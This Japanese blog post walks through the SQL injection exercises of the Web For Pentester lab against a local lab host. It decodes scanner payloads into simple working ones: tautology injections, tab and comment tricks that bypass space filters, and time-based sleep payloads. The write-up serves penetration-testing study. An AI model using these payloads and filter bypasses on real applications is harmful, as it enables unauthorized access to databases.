Shikata Ga Nai

Private? There is no such things.

Web For PentesterのSQL injectionをやってみた①

Hello there, ('ω')ノ

 

SQL injectionを。

 

f:id:ThisIsOne:20210508092629p:plain

 

動作確認をしてからアクティブスキャンを。

2つほどSQLインジェクションの脆弱性が発見できず。

 

f:id:ThisIsOne:20210508093034p:plain

 

まずは、Example1から。

いつものようにペイロードをデコーダへ。

 

f:id:ThisIsOne:20210508093253p:plain

 

デコードして内容を確認して。

 

f:id:ThisIsOne:20210508093356p:plain

 

デコードした内容理解してシンプルに。

 10099437' or '2429'='2429

 ⇩

 ' or '1'='1

 

下記をエンコードしなくても実行すると脆弱性が確認できて。

 http://192.168.0.207/sqli/example1.php?name=root' or '1'='1

 

他には。

 ' or '1'='1' #

 ⇩ #をエンコードして

 ' or '1'='1' %23

 

f:id:ThisIsOne:20210508094324p:plain

 

Exsample2については、さきほどのペイロードを挿入するとスペースのエラーが。

 ' or '1'='1

 

f:id:ThisIsOne:20210508153505p:plain

 

スペースを水平タブ(%09)に置き換えて。

 '%09or%09'1'='1

 

f:id:ThisIsOne:20210508154337p:plain

 

Example2も同様にデコードすると。

下記のペイロードだとスペース(%2b)が入っいても機能するようで。

 '%2b(select*from(select(sleep(20)))a)%2b'

 ⇩

 '+(select*from(select(sleep(5)))a)+'

 

f:id:ThisIsOne:20210508095017p:plain

 

Exsample3については、スペース部分をコメントに変更して。

1つ以上の連続スペース(TAB / HTを含む)をフィルタ処理するので。

コメント/ ** /を使用して、このフィルタをバイパスできて。

 '/**/or/**/'1'='1

 

f:id:ThisIsOne:20210508163421p:plain


一応、Example3もデコードして内容を確認して。

 '%2b(select*from(select(sleep(20)))a)%2b'

 ⇩

 '+(select*from(select(sleep(20)))a)+'

 

f:id:ThisIsOne:20210508095143p:plain

 

Example4では、\ x00、\ n、\ r、\、 '、 "、\ x1aをSQLi防止しているようで。

Idについては、数値なので使用する必要もなく。

 http://192.168.0.207/sqli/example4.php?id=2%20or%201=1

 

f:id:ThisIsOne:20210508164423p:plain

 

Example4をデコードしてペイロードをシンプルにして。

 52716214%20or%206619%3d06619

 ⇩

 1%20or%201%3d1

 

f:id:ThisIsOne:20210508095250p:plain

 

Example5もデコードしてペイロードをシンプルにして。

Example4同様にSQLi防止を回避できて。

 70125555%20or%201509%3d01509

 ⇩

 1%20or%201%3d1

 

f:id:ThisIsOne:20210508095602p:plain

 

Example6もデコードしてペイロードをシンプルにして。

これも同じく。

 72028444%20or%204676%3d04676

 ⇩

 1%20or%201%3d1

 f:id:ThisIsOne:20210508095935p:plain

 

Best regards, (^^ゞ